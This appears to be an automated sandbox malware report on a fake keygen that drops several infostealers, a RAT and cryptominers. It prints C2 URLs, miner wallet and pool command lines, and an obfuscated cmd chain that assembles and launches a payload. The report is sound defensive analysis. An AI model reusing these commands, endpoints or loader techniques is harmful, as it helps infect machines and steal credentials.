Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

Comprehens...mo.exe

windows7_x64

10

Comprehens...mo.exe

windows10_x64

10

Analysis

  • max time kernel
    1799s
  • max time network
    1768s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    13/06/2021, 21:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe

  • Size

    6.1MB

  • MD5

    c95e4a0b394708279480861e498f5e88

  • SHA1

    9930bae69d18cc4f1a4c59cd3d6b0de59b49dab3

  • SHA256

    64d37096515ff385f2a0a3c49ed8df8f7837f1e7d81de9f586d756fb4416117f

  • SHA512

    3c44424e3abba9e79ca2b5b141fd3cedf7c333a28a9066827184ec3c0b46f22ae697463e9d08427c2e847a79aaf0cc1b1d24c2336ad9ab3881b9e40ee1e96a8b

Score
10/10
azorultplugxponyraccoonredlinexmrige0aa5b6d2491c503baf06d4cfeb218de1cd41474discoveryinfostealerminerpersistenceratspywarestealertrojanvmprotect

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

e0aa5b6d2491c503baf06d4cfeb218de1cd41474

Attributes
  • url4cnc

    https://tttttt.me/hbackwoods1

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

    trojanplugx
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

    ratspywarestealerpony
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 6 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 21 IoCs
  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Drops startup file 2 IoCs
  • Loads dropped DLL 46 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 29 IoCs
  • Modifies registry class 15 IoCs
  • Modifies system certificate store 2 TTPs 11 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:872
  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:1348
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:3040
    • C:\Users\Admin\AppData\Local\Temp\Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe
      "C:\Users\Admin\AppData\Local\Temp\Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
          keygen-pr.exe -p83fsase3Ge
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1608
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:888
            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
              C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
              5⤵
              • Executes dropped EXE
              PID:1436
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
          keygen-step-5.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:768
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" > ..\JLCEsg.EXE && STARt ..\JLcESG.eXe -Padv58BxSA2YftsG & iF "" == "" for %G In ("C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill /F /im "%~NXG" > NuL
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:340
            • C:\Users\Admin\AppData\Local\Temp\JLCEsg.EXE
              ..\JLcESG.eXe -Padv58BxSA2YftsG
              5⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1368
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Local\Temp\JLCEsg.EXE" > ..\JLCEsg.EXE && STARt ..\JLcESG.eXe -Padv58BxSA2YftsG & iF "-Padv58BxSA2YftsG " == "" for %G In ("C:\Users\Admin\AppData\Local\Temp\JLCEsg.EXE" ) do taskkill /F /im "%~NXG" > NuL
                6⤵
                  PID:1112
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C EcHo | SEt /p = "MZ" > BPEMRMEN.d & COpy /b /Y bPEMRMEN.d + dXHRwjo.0AZ + NhXJ5ZS.~ + ~2Hb8F.f + WY9hCmU.B7 + FW37r_QP.NKF + RqNMML.8D ..\LOOWZJ.Z > NUl & DEL /Q * > NuL& StaRT regsvr32 ..\LOOWZJ.Z -U /s
                  6⤵
                    PID:600
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                      7⤵
                        PID:916
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>BPEMRMEN.d"
                        7⤵
                          PID:900
                        • C:\Windows\SysWOW64\regsvr32.exe
                          regsvr32 ..\LOOWZJ.Z -U /s
                          7⤵
                          • Loads dropped DLL
                          • Suspicious use of NtCreateThreadExHideFromDebugger
                          PID:1424
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /F /im "keygen-step-5.exe"
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:824
                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                  keygen-step-3.exe
                  3⤵
                  • Executes dropped EXE
                  PID:1480
                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                  keygen-step-4.exe
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1552
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX4\Crack.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Crack.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:1656
                    • C:\Windows\SysWOW64\rUNdlL32.eXe
                      "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                      5⤵
                      • Loads dropped DLL
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1476
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX4\GloryWSetp.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX4\GloryWSetp.exe"
                    4⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2040
                    • C:\Users\Admin\AppData\Roaming\5301562.exe
                      "C:\Users\Admin\AppData\Roaming\5301562.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2080
                    • C:\Users\Admin\AppData\Roaming\5693856.exe
                      "C:\Users\Admin\AppData\Roaming\5693856.exe"
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Adds Run key to start application
                      PID:2096
                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                        6⤵
                        • Executes dropped EXE
                        PID:2564
                    • C:\Users\Admin\AppData\Roaming\1182691.exe
                      "C:\Users\Admin\AppData\Roaming\1182691.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:2148
                      • C:\Users\Admin\AppData\Roaming\1182691.exe
                        "{path}"
                        6⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2236
                    • C:\Users\Admin\AppData\Roaming\4419010.exe
                      "C:\Users\Admin\AppData\Roaming\4419010.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2204
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                        C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe
                        6⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2456
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX4\note8876.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX4\note8876.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:2384
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2384 -s 176
                      5⤵
                      • Loads dropped DLL
                      • Program crash
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: GetForegroundWindowSpam
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2444
                • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe
                  keygen-step-6.exe
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies system certificate store
                  PID:704
                  • C:\Users\Admin\AppData\Roaming\F3CB.tmp.exe
                    "C:\Users\Admin\AppData\Roaming\F3CB.tmp.exe"
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:596
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\F3CB.tmp.exe"
                      5⤵
                        PID:2336
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /T 10 /NOBREAK
                          6⤵
                          • Delays execution with timeout.exe
                          PID:1676
                    • C:\Users\Admin\AppData\Roaming\894.tmp.exe
                      "C:\Users\Admin\AppData\Roaming\894.tmp.exe"
                      4⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • Suspicious use of SetThreadContext
                      • Modifies system certificate store
                      PID:2216
                      • C:\Windows\system32\msiexec.exe
                        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w31895@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                        5⤵
                          PID:2812
                        • C:\Windows\system32\msiexec.exe
                          -o pool.minexmr.com:4444 -u 87rRyMkZM4pNgAZPi5NX3DdxksaoNgd7bZUBVe3A9uemAhxc8EQJ6dAPZg2mYTwoezgJWNfTpFFmnVYWXqcNDMhLF7ihFgM.w282 --cpu-max-threads-hint 50 -r 9999
                          5⤵
                          • Blocklisted process makes network request
                          PID:2864
                      • C:\Users\Admin\AppData\Roaming\A3A.tmp.exe
                        "C:\Users\Admin\AppData\Roaming\A3A.tmp.exe"
                        4⤵
                        • Executes dropped EXE
                        • Drops startup file
                        PID:2264
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe" >> NUL
                        4⤵
                          PID:2688
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1
                            5⤵
                            • Runs ping.exe
                            PID:2728
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                        keygen-step-1.exe
                        3⤵
                        • Executes dropped EXE
                        PID:652

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/596-214-0x0000000000400000-0x0000000000C56000-memory.dmp

                    Filesize

                    8.3MB

                    Download

                  • memory/596-213-0x0000000000220000-0x00000000002B1000-memory.dmp

                    Filesize

                    580KB

                    Download

                  • memory/704-84-0x0000000000140000-0x0000000000157000-memory.dmp

                    Filesize

                    92KB

                    Download

                  • memory/872-176-0x0000000000A20000-0x0000000000A6B000-memory.dmp

                    Filesize

                    300KB

                    Download

                  • memory/872-177-0x0000000001320000-0x0000000001390000-memory.dmp

                    Filesize

                    448KB

                    Download

                  • memory/888-106-0x0000000000E80000-0x000000000101C000-memory.dmp

                    Filesize

                    1.6MB

                    Download

                  • memory/888-146-0x0000000002C10000-0x0000000002CFF000-memory.dmp

                    Filesize

                    956KB

                    Download

                  • memory/888-216-0x0000000000150000-0x0000000000151000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/888-218-0x0000000000130000-0x0000000000142000-memory.dmp

                    Filesize

                    72KB

                    Download

                  • memory/1348-179-0x00000000004D0000-0x0000000000540000-memory.dmp

                    Filesize

                    448KB

                    Download

                  • memory/1424-134-0x0000000001F40000-0x000000000200A000-memory.dmp

                    Filesize

                    808KB

                    Download

                  • memory/1424-194-0x00000000004B0000-0x0000000000544000-memory.dmp

                    Filesize

                    592KB

                    Download

                  • memory/1424-190-0x00000000022E0000-0x0000000002388000-memory.dmp

                    Filesize

                    672KB

                    Download

                  • memory/1424-136-0x0000000002230000-0x00000000022DE000-memory.dmp

                    Filesize

                    696KB

                    Download

                  • memory/1424-193-0x00000000004B0000-0x0000000000544000-memory.dmp

                    Filesize

                    592KB

                    Download

                  • memory/1424-135-0x0000000000A70000-0x0000000000B20000-memory.dmp

                    Filesize

                    704KB

                    Download

                  • memory/1436-116-0x0000000000400000-0x0000000000983000-memory.dmp

                    Filesize

                    5.5MB

                    Download

                  • memory/1436-112-0x0000000000400000-0x0000000000983000-memory.dmp

                    Filesize

                    5.5MB

                    Download

                  • memory/1476-174-0x00000000008B0000-0x00000000009B1000-memory.dmp

                    Filesize

                    1.0MB

                    Download

                  • memory/1476-175-0x0000000001F00000-0x0000000001F5C000-memory.dmp

                    Filesize

                    368KB

                    Download

                  • memory/1476-173-0x0000000010000000-0x0000000010002000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/1660-59-0x00000000752F1000-0x00000000752F3000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/2040-166-0x0000000000260000-0x0000000000261000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2040-180-0x000000001AE20000-0x000000001AE22000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/2040-165-0x00000000003F0000-0x000000000040B000-memory.dmp

                    Filesize

                    108KB

                    Download

                  • memory/2040-164-0x0000000000240000-0x0000000000241000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2040-162-0x00000000011E0000-0x00000000011E1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2080-183-0x00000000002D0000-0x00000000002D1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2080-217-0x0000000004980000-0x0000000004981000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2080-203-0x0000000000270000-0x0000000000281000-memory.dmp

                    Filesize

                    68KB

                    Download

                  • memory/2096-209-0x0000000000290000-0x0000000000291000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2096-185-0x0000000000900000-0x0000000000901000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2096-197-0x00000000001E0000-0x00000000001E1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2096-208-0x0000000000280000-0x000000000028E000-memory.dmp

                    Filesize

                    56KB

                    Download

                  • memory/2148-188-0x00000000008C0000-0x00000000008C1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2148-204-0x0000000002140000-0x0000000002141000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2148-241-0x00000000005B0000-0x00000000005B2000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/2148-242-0x000000007EF40000-0x000000007EF41000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2148-251-0x0000000005450000-0x00000000054BB000-memory.dmp

                    Filesize

                    428KB

                    Download

                  • memory/2148-252-0x0000000000860000-0x000000000087E000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/2204-215-0x00000000042B0000-0x00000000042B1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2204-198-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2216-212-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/2236-253-0x0000000000400000-0x000000000041E000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/2236-257-0x0000000000500000-0x0000000000501000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2236-255-0x0000000000400000-0x000000000041E000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/2264-199-0x00000000000F0000-0x00000000000F5000-memory.dmp

                    Filesize

                    20KB

                    Download

                  • memory/2384-210-0x0000000000400000-0x00000000005DC000-memory.dmp

                    Filesize

                    1.9MB

                    Download

                  • memory/2444-225-0x0000000000820000-0x0000000000821000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2456-231-0x0000000000400000-0x000000000041E000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/2456-235-0x0000000000400000-0x000000000041E000-memory.dmp

                    Filesize

                    120KB

                    Download

                  • memory/2456-240-0x0000000004C90000-0x0000000004C91000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2564-230-0x00000000003A0000-0x00000000003A1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2564-220-0x00000000008B0000-0x00000000008B1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2812-228-0x0000000140000000-0x0000000140383000-memory.dmp

                    Filesize

                    3.5MB

                    Download

                  • memory/2812-237-0x0000000140000000-0x0000000140383000-memory.dmp

                    Filesize

                    3.5MB

                    Download

                  • memory/2864-246-0x0000000000160000-0x0000000000180000-memory.dmp

                    Filesize

                    128KB

                    Download

                  • memory/2864-232-0x0000000140000000-0x000000014070D000-memory.dmp

                    Filesize

                    7.1MB

                    Download

                  • memory/2864-239-0x0000000140000000-0x000000014070D000-memory.dmp

                    Filesize

                    7.1MB

                    Download

                  • memory/3040-245-0x0000000000230000-0x00000000002A1000-memory.dmp

                    Filesize

                    452KB

                    Download

                  • memory/3040-249-0x0000000003040000-0x0000000003146000-memory.dmp

                    Filesize

                    1.0MB

                    Download

                  • memory/3040-250-0x00000000002E0000-0x00000000002FA000-memory.dmp

                    Filesize

                    104KB

                    Download

                  • memory/3040-244-0x0000000000060000-0x00000000000AB000-memory.dmp

                    Filesize

                    300KB

                    Download